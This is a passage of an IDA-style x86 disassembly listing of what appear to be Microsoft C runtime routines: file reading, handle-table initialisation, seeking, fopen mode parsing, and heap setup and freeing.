		push	dword ptr [eax+esi]
		call	dword_42F054	; ReadFile
		test	eax, eax
		jnz	short loc_426AC5
		call	dword_42F068	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_426B0C


loc_426AC5:				; CODE XREF: sub_426967+152j
		cmp	[ebp+var_C], 0
		jz	short loc_426B0C
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_426AE7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_426AF2
		mov	byte ptr [ebx],	0Dh
		mov	ecx, [edi]
		inc	ebx
		mov	[ecx+esi+5], al
		jmp	short loc_426B10
; ---------------------------------------------------------------------------


loc_426AE7:				; CODE XREF: sub_426967+16Bj
		cmp	ebx, [ebp+arg_4]
		jnz	short loc_426AF7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_426AF7


loc_426AF2:				; CODE XREF: sub_426967+12Bj
					; sub_426967+172j
		mov	byte ptr [ebx],	0Ah
		jmp	short loc_426B0F
; ---------------------------------------------------------------------------


loc_426AF7:				; CODE XREF: sub_426967+183j
					; sub_426967+189j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_426D61
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_426B10


loc_426B0C:				; CODE XREF: sub_426967+15Cj
					; sub_426967+162j
		mov	byte ptr [ebx],	0Dh


loc_426B0F:				; CODE XREF: sub_426967+18Ej
		inc	ebx


loc_426B10:				; CODE XREF: sub_426967+113j
					; sub_426967+134j ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_426A63
		jmp	short loc_426B2E
; ---------------------------------------------------------------------------


loc_426B1E:				; CODE XREF: sub_426967+103j
		mov	eax, [edi]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_426B2E
		or	al, 2
		mov	[esi], al


loc_426B2E:				; CODE XREF: sub_426967+F6j
					; sub_426967+1B5j ...
		sub	ebx, [ebp+arg_4]
		mov	[ebp+var_8], ebx


loc_426B34:				; CODE XREF: sub_426967+CFj
		mov	eax, [ebp+var_8]
		jmp	short loc_426B3B
; ---------------------------------------------------------------------------


loc_426B39:				; CODE XREF: sub_426967+16j
					; sub_426967+43j ...
		xor	eax, eax


loc_426B3B:				; CODE XREF: sub_426967+B8j
					; sub_426967+1D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426967	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426B40	proc near		; CODE XREF: .text:00424F44p

var_48		= byte ptr -48h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		push	480h
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_426B62
		push	1Bh
		call	sub_424FCB
		pop	ecx


loc_426B62:				; CODE XREF: sub_426B40+18j
		mov	dword_6319E0, esi
		mov	dword_631AE0, 20h
		lea	eax, [esi+480h]


loc_426B78:				; CODE XREF: sub_426B40+58j
		cmp	esi, eax
		jnb	short loc_426B9A
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		and	dword ptr [esi+8], 0
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_6319E0
		add	esi, 24h
		add	eax, 480h
		jmp	short loc_426B78
; ---------------------------------------------------------------------------


loc_426B9A:				; CODE XREF: sub_426B40+3Aj
		lea	eax, [ebp+var_48]
		push	eax
		call	dword_42F210	; GetStartupInfoA
		cmp	[ebp+var_16], 0
		jz	loc_426C80
		mov	eax, [ebp+var_14]
		test	eax, eax
		jz	loc_426C80
		mov	edi, [eax]
		lea	ebx, [eax+4]
		lea	eax, [ebx+edi]
		mov	[ebp+var_4], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_426BD0
		mov	edi, eax


loc_426BD0:				; CODE XREF: sub_426B40+8Cj
		cmp	dword_631AE0, edi
		jge	short loc_426C2E
		mov	esi, offset dword_6319E4


loc_426BDD:				; CODE XREF: sub_426B40+E4j
		push	480h
		call	sub_422F79
		test	eax, eax
		pop	ecx
		jz	short loc_426C28
		add	dword_631AE0, 20h
		mov	[esi], eax
		lea	ecx, [eax+480h]


loc_426BFB:				; CODE XREF: sub_426B40+D9j
		cmp	eax, ecx
		jnb	short loc_426C1B
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [esi]
		add	eax, 24h
		add	ecx, 480h
		jmp	short loc_426BFB
; ---------------------------------------------------------------------------


loc_426C1B:				; CODE XREF: sub_426B40+BDj
		add	esi, 4
		cmp	dword_631AE0, edi
		jl	short loc_426BDD
		jmp	short loc_426C2E
; ---------------------------------------------------------------------------


loc_426C28:				; CODE XREF: sub_426B40+AAj
		mov	edi, dword_631AE0


loc_426C2E:				; CODE XREF: sub_426B40+96j
					; sub_426B40+E6j
		xor	esi, esi
		test	edi, edi
		jle	short loc_426C80


loc_426C34:				; CODE XREF: sub_426B40+13Ej
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_426C76
		mov	al, [ebx]
		test	al, 1
		jz	short loc_426C76
		test	al, 8
		jnz	short loc_426C53
		push	ecx
		call	dword_42F1D0	; GetFileType
		test	eax, eax
		jz	short loc_426C76


loc_426C53:				; CODE XREF: sub_426B40+106j
		mov	ecx, esi
		mov	eax, esi
		sar	ecx, 5
		and	eax, 1Fh
		mov	ecx, dword_6319E0[ecx*4]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[eax], ecx
		mov	cl, [ebx]
		mov	[eax+4], cl


loc_426C76:				; CODE XREF: sub_426B40+FCj
					; sub_426B40+102j ...
		add	[ebp+var_4], 4
		inc	esi
		inc	ebx
		cmp	esi, edi
		jl	short loc_426C34


loc_426C80:				; CODE XREF: sub_426B40+69j
					; sub_426B40+74j ...
		xor	ebx, ebx


loc_426C82:				; CODE XREF: sub_426B40+1A9j
		mov	ecx, dword_6319E0
		lea	eax, [ebx+ebx*8]
		cmp	dword ptr [ecx+eax*4], 0FFFFFFFFh
		lea	esi, [ecx+eax*4]
		jnz	short loc_426CE1
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_426CA1
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_426CAB
; ---------------------------------------------------------------------------


loc_426CA1:				; CODE XREF: sub_426B40+15Aj
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_426CAB:				; CODE XREF: sub_426B40+15Fj
		push	eax
		call	dword_42F1D4	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_426CD0
		push	edi
		call	dword_42F1D0	; GetFileType
		test	eax, eax
		jz	short loc_426CD0
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_426CD6


loc_426CD0:				; CODE XREF: sub_426B40+177j
					; sub_426B40+182j
		or	byte ptr [esi+4], 40h
		jmp	short loc_426CE5
; ---------------------------------------------------------------------------


loc_426CD6:				; CODE XREF: sub_426B40+18Ej
		cmp	eax, 3
		jnz	short loc_426CE5
		or	byte ptr [esi+4], 8
		jmp	short loc_426CE5
; ---------------------------------------------------------------------------


loc_426CE1:				; CODE XREF: sub_426B40+152j
		or	byte ptr [esi+4], 80h


loc_426CE5:				; CODE XREF: sub_426B40+194j
					; sub_426B40+199j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_426C82
		push	dword_631AE0
		call	dword_42F1D8	; SetHandleCount
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426B40	endp


; =============== S U B	R O U T	I N E =======================================



sub_426CFC	proc near		; CODE XREF: sub_422D1B+20p
					; sub_422D1B+EBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_631AE0
		jnb	short loc_426D49
		mov	ecx, esi
		mov	eax, esi
		sar	ecx, 5
		and	eax, 1Fh
		mov	ecx, dword_6319E0[ecx*4]
		lea	eax, [eax+eax*8]
		test	byte ptr [ecx+eax*4+4],	1
		jz	short loc_426D49
		push	edi
		push	esi
		call	sub_42BE86
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	esi
		call	sub_426D61
		push	esi
		mov	edi, eax
		call	sub_42BEE5
		add	esp, 14h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_426D49:				; CODE XREF: sub_426CFC+Bj
					; sub_426CFC+26j
		call	sub_426528
		mov	dword ptr [eax], 9
		call	sub_426531
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_426CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_426D61	proc near		; CODE XREF: sub_426967+197p
					; sub_426CFC+38p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_42BE44
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_426D80
		call	sub_426528
		mov	dword ptr [eax], 9
		jmp	short loc_426DAD
; ---------------------------------------------------------------------------


loc_426D80:				; CODE XREF: sub_426D61+10j
		push	[esp+8+arg_8]
		push	0
		push	[esp+10h+arg_4]
		push	eax
		call	dword_42F058	; SetFilePointer
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_426DA0
		call	dword_42F068	; RtlGetLastWin32Error
		jmp	short loc_426DA2
; ---------------------------------------------------------------------------


loc_426DA0:				; CODE XREF: sub_426D61+35j
		xor	eax, eax


loc_426DA2:				; CODE XREF: sub_426D61+3Dj
		test	eax, eax
		jz	short loc_426DB2
		push	eax
		call	sub_4264B5
		pop	ecx


loc_426DAD:				; CODE XREF: sub_426D61+1Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_426DD1
; ---------------------------------------------------------------------------


loc_426DB2:				; CODE XREF: sub_426D61+43j
		mov	ecx, esi
		and	esi, 1Fh
		sar	ecx, 5
		mov	eax, esi
		mov	ecx, dword_6319E0[ecx*4]
		lea	eax, [eax+eax*8]
		and	byte ptr [ecx+eax*4+4],	0FDh
		lea	eax, [ecx+eax*4+4]
		mov	eax, edi


loc_426DD1:				; CODE XREF: sub_426D61+4Fj
		pop	edi
		pop	esi
		retn
sub_426D61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426DD4	proc near		; CODE XREF: sub_422F35+1Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_6315FC
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_426E0D
		cmp	al, 72h
		jz	short loc_426E06
		cmp	al, 77h
		jnz	loc_426F21
		mov	ecx, 301h
		jmp	short loc_426E12
; ---------------------------------------------------------------------------


loc_426E06:				; CODE XREF: sub_426DD4+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_426E15
; ---------------------------------------------------------------------------


loc_426E0D:				; CODE XREF: sub_426DD4+1Dj
		mov	ecx, 109h


loc_426E12:				; CODE XREF: sub_426DD4+30j
		or	esi, 2


loc_426E15:				; CODE XREF: sub_426DD4+37j
		push	1
		pop	edx


loc_426E18:				; CODE XREF: sub_426DD4+8Bj
					; sub_426DD4+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_426F07
		cmp	edx, ebx
		jz	loc_426F07
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_426EA6
		jz	short loc_426E96
		sub	eax, 2Bh
		jz	short loc_426E80
		sub	eax, 19h
		jz	short loc_426E76
		sub	eax, 0Eh
		jz	short loc_426E61
		dec	eax
		jnz	loc_426EF8
		cmp	[ebp+var_4], ebx
		jnz	loc_426EF8
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_426E18
; ---------------------------------------------------------------------------


loc_426E61:				; CODE XREF: sub_426DD4+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_426EF8
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_426E18
; ---------------------------------------------------------------------------


loc_426E76:				; CODE XREF: sub_426DD4+6Aj
		test	cl, 40h
		jnz	short loc_426EF8
		or	ecx, 40h
		jmp	short loc_426E18
; ---------------------------------------------------------------------------


loc_426E80:				; CODE XREF: sub_426DD4+65j
		test	cl, 2
		jnz	short loc_426EF8
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_426E18
; ---------------------------------------------------------------------------


loc_426E96:				; CODE XREF: sub_426DD4+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_426EF8
		or	ecx, eax
		jmp	loc_426E18
; ---------------------------------------------------------------------------


loc_426EA6:				; CODE XREF: sub_426DD4+5Ej
		sub	eax, 62h
		jz	short loc_426EF3
		dec	eax
		jz	short loc_426EDC
		sub	eax, 0Bh
		jz	short loc_426EC5
		sub	eax, 6
		jnz	short loc_426EF8
		test	ch, 0C0h
		jnz	short loc_426EF8
		or	ch, 40h
		jmp	loc_426E18
; ---------------------------------------------------------------------------


loc_426EC5:				; CODE XREF: sub_426DD4+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_426EF8
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_426E18
; ---------------------------------------------------------------------------


loc_426EDC:				; CODE XREF: sub_426DD4+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_426EF8
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_426E18
; ---------------------------------------------------------------------------


loc_426EF3:				; CODE XREF: sub_426DD4+D5j
		test	ch, 0C0h
		jz	short loc_426EFF


loc_426EF8:				; CODE XREF: sub_426DD4+72j
					; sub_426DD4+7Bj ...
		xor	edx, edx
		jmp	loc_426E18
; ---------------------------------------------------------------------------


loc_426EFF:				; CODE XREF: sub_426DD4+122j
		or	ch, 80h
		jmp	loc_426E18
; ---------------------------------------------------------------------------


loc_426F07:				; CODE XREF: sub_426DD4+4Aj
					; sub_426DD4+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42BF9A
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_426F25


loc_426F21:				; CODE XREF: sub_426DD4+25j
		xor	eax, eax
		jmp	short loc_426F3F
; ---------------------------------------------------------------------------


loc_426F25:				; CODE XREF: sub_426DD4+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_6313E8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_426F3F:				; CODE XREF: sub_426DD4+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426DD4	endp


; =============== S U B	R O U T	I N E =======================================



sub_426F44	proc near		; CODE XREF: sub_422F35+1p
		push	ebx
		push	esi
		push	edi
		push	2
		xor	ebx, ebx
		xor	edi, edi
		call	sub_428436
		xor	esi, esi
		cmp	dword_632B00, ebx
		pop	ecx
		jle	loc_426FFE


loc_426F61:				; CODE XREF: sub_426F44+57j
		mov	eax, dword_631AE8
		mov	eax, [eax+esi*4]
		cmp	eax, ebx
		jz	short loc_426FA4
		test	byte ptr [eax+0Ch], 83h
		jnz	short loc_426F94
		push	eax
		push	esi
		call	sub_42486B
		pop	ecx
		pop	ecx
		mov	ecx, dword_631AE8
		mov	eax, [ecx+esi*4]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_426F9F
		push	eax
		push	esi
		call	sub_4248BD
		pop	ecx
		pop	ecx


loc_426F94:				; CODE XREF: sub_426F44+2Dj
		inc	esi
		cmp	esi, dword_632B00
		jl	short loc_426F61
		jmp	short loc_426FFE
; ---------------------------------------------------------------------------


loc_426F9F:				; CODE XREF: sub_426F44+45j
		mov	edi, [ecx+esi*4]
		jmp	short loc_426FE8
; ---------------------------------------------------------------------------


loc_426FA4:				; CODE XREF: sub_426F44+27j
		push	38h
		shl	esi, 2
		call	sub_422F79
		pop	ecx
		mov	ecx, dword_631AE8
		mov	[esi+ecx], eax
		mov	eax, dword_631AE8
		mov	eax, [esi+eax]
		cmp	eax, ebx
		jz	short loc_426FFE
		add	eax, 20h
		push	eax
		call	dword_42F1CC	; InitializeCriticalSection
		mov	eax, dword_631AE8
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	dword_42F140	; RtlEnterCriticalSection
		mov	eax, dword_631AE8
		mov	edi, [esi+eax]


loc_426FE8:				; CODE XREF: sub_426F44+5Ej
		cmp	edi, ebx
		jz	short loc_426FFE
		or	dword ptr [edi+10h], 0FFFFFFFFh
		mov	[edi+4], ebx
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi], ebx
		mov	[edi+1Ch], ebx


loc_426FFE:				; CODE XREF: sub_426F44+17j
					; sub_426F44+59j ...
		push	2
		call	sub_428497
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_426F44	endp


; =============== S U B	R O U T	I N E =======================================



sub_42700C	proc near		; CODE XREF: sub_422F8B+1Fp
					; sub_423F63+10Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_6313FC
		test	eax, eax
		jz	short loc_427024
		push	[esp+arg_0]
		call	eax ; dword_6313FC
		test	eax, eax
		pop	ecx
		jz	short loc_427024
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_427024:				; CODE XREF: sub_42700C+7j
					; sub_42700C+12j
		xor	eax, eax
		retn
sub_42700C	endp


; =============== S U B	R O U T	I N E =======================================



sub_427027	proc near		; CODE XREF: sub_427054+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_42F074	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_427052
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_427052
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_427052:				; CODE XREF: sub_427027+15j
					; sub_427027+1Cj
		pop	esi
		retn
sub_427027	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427054	proc near		; CODE XREF: sub_42719C+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_4220C0
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_42F044	; GetVersionExA
		test	eax, eax
		jz	short loc_427097
		cmp	[ebp+var_88], 2
		jnz	short loc_427097
		cmp	[ebp+var_94], 5
		jb	short loc_427097
		push	1
		pop	eax
		jmp	loc_427199
; ---------------------------------------------------------------------------


loc_427097:				; CODE XREF: sub_427054+27j
					; sub_427054+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_42F1C8	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_427186
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_4270D9


loc_4270C6:				; CODE XREF: sub_427054+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_4270D4
		cmp	al, 7Ah
		jg	short loc_4270D4
		sub	al, 20h
		mov	[ecx], al


loc_4270D4:				; CODE XREF: sub_427054+76j
					; sub_427054+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_4270C6


loc_4270D9:				; CODE XREF: sub_427054+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_423AD0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4270FB
		lea	eax, [ebp+var_122C]
		jmp	short loc_427144
; ---------------------------------------------------------------------------


loc_4270FB:				; CODE XREF: sub_427054+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_42F154	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_42712F


loc_42711C:				; CODE XREF: sub_427054+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_42712A
		cmp	al, 7Ah
		jg	short loc_42712A
		sub	al, 20h
		mov	[ecx], al


loc_42712A:				; CODE XREF: sub_427054+CCj
					; sub_427054+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_42711C


loc_42712F:				; CODE XREF: sub_427054+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_4235C0
		pop	ecx
		pop	ecx


loc_427144:				; CODE XREF: sub_427054+A5j
		cmp	eax, ebx
		jz	short loc_427186
		push	2Ch
		push	eax
		call	sub_4233B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_427186
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_42716B


loc_42715D:				; CODE XREF: sub_427054+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_427166
		mov	[ecx], bl
		jmp	short loc_427167
; ---------------------------------------------------------------------------


loc_427166:				; CODE XREF: sub_427054+10Cj
		inc	ecx


loc_427167:				; CODE XREF: sub_427054+110j
		cmp	[ecx], bl
		jnz	short loc_42715D


loc_42716B:				; CODE XREF: sub_427054+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_42289C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_427199
		cmp	eax, 3
		jz	short loc_427199
		cmp	eax, 1
		jz	short loc_427199


loc_427186:				; CODE XREF: sub_427054+5Cj
					; sub_427054+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_427027
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_427199:				; CODE XREF: sub_427054+3Ej
					; sub_427054+126j ...
		pop	ebx
		leave
		retn
sub_427054	endp


; =============== S U B	R O U T	I N E =======================================



sub_42719C	proc near		; CODE XREF: .text:00424F1Cp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_42F1C0	; HeapCreate
		test	eax, eax
		mov	dword_6319BC, eax
		jz	short loc_4271F2
		call	sub_427054
		cmp	eax, 3
		mov	dword_6319C0, eax
		jnz	short loc_4271D8
		push	3F8h
		call	sub_4271F9
		pop	ecx
		jmp	short loc_4271E2
; ---------------------------------------------------------------------------


loc_4271D8:				; CODE XREF: sub_42719C+2Dj
		cmp	eax, 2
		jnz	short loc_4271F5
		call	sub_427D40


loc_4271E2:				; CODE XREF: sub_42719C+3Aj
		test	eax, eax
		jnz	short loc_4271F5
		push	dword_6319BC
		call	dword_42F1C4	; HeapDestroy


loc_4271F2:				; CODE XREF: sub_42719C+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4271F5:				; CODE XREF: sub_42719C+3Fj
					; sub_42719C+48j
		push	1
		pop	eax
		retn
sub_42719C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4271F9	proc near		; CODE XREF: sub_42719C+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_6319BC
		call	dword_42F1EC	; RtlAllocateHeap
		test	eax, eax
		mov	dword_6319B4, eax
		jnz	short loc_427216
		retn
; ---------------------------------------------------------------------------


loc_427216:				; CODE XREF: sub_4271F9+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_6319AC, 0
		and	dword_6319B0, 0
		push	1
		mov	dword_6319A8, eax
		mov	dword_6319B8, ecx
		mov	dword_6319A0, 10h
		pop	eax
		retn
sub_4271F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_427241	proc near		; CODE XREF: sub_4230B3+45p
					; sub_4285CC+73p ...

arg_0		= dword	ptr  4

		mov	eax, dword_6319B0
		lea	ecx, [eax+eax*4]
		mov	eax, dword_6319B4
		lea	ecx, [eax+ecx*4]


loc_427251:				; CODE XREF: sub_427241+26j
		cmp	eax, ecx
		jnb	short loc_427269
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_42726B
		add	eax, 14h
		jmp	short loc_427251
; ---------------------------------------------------------------------------


loc_427269:				; CODE XREF: sub_427241+12j
		xor	eax, eax

locret_42726B:				; CODE XREF: sub_427241+21j
		retn
sub_427241	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42726C	proc near		; CODE XREF: sub_4230B3+54p
					; sub_4285CC+D0p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_427590
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_427342
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_4272D0
		push	3Fh
		pop	edx


loc_4272D0:				; CODE XREF: sub_42726C+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_427324
		cmp	edx, 20h
		jnb	short loc_4272FB
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_42731C
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_42731C
; ---------------------------------------------------------------------------


loc_4272FB:				; CODE XREF: sub_42726C+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_42731C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_42731C:				; CODE XREF: sub_42726C+86j
					; sub_42726C+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_427327
; ---------------------------------------------------------------------------


loc_427324:				; CODE XREF: sub_42726C+6Aj
		mov	ecx, [ebp+var_4]


loc_427327:				; CODE XREF: sub_42726C+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_427342:				; CODE XREF: sub_42726C+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_427350
		push	3Fh
		pop	edx


loc_427350:				; CODE XREF: sub_42726C+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_4273F3
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_427375
		mov	ebx, esi


loc_427375:				; CODE XREF: sub_42726C+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_427387
		mov	edx, esi


loc_427387:				; CODE XREF: sub_42726C+117j
		cmp	ebx, edx
		jz	short loc_4273EE
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_4273D6
		cmp	ebx, 20h
		jnb	short loc_4273B7
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_4273D6
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_4273D6
; ---------------------------------------------------------------------------


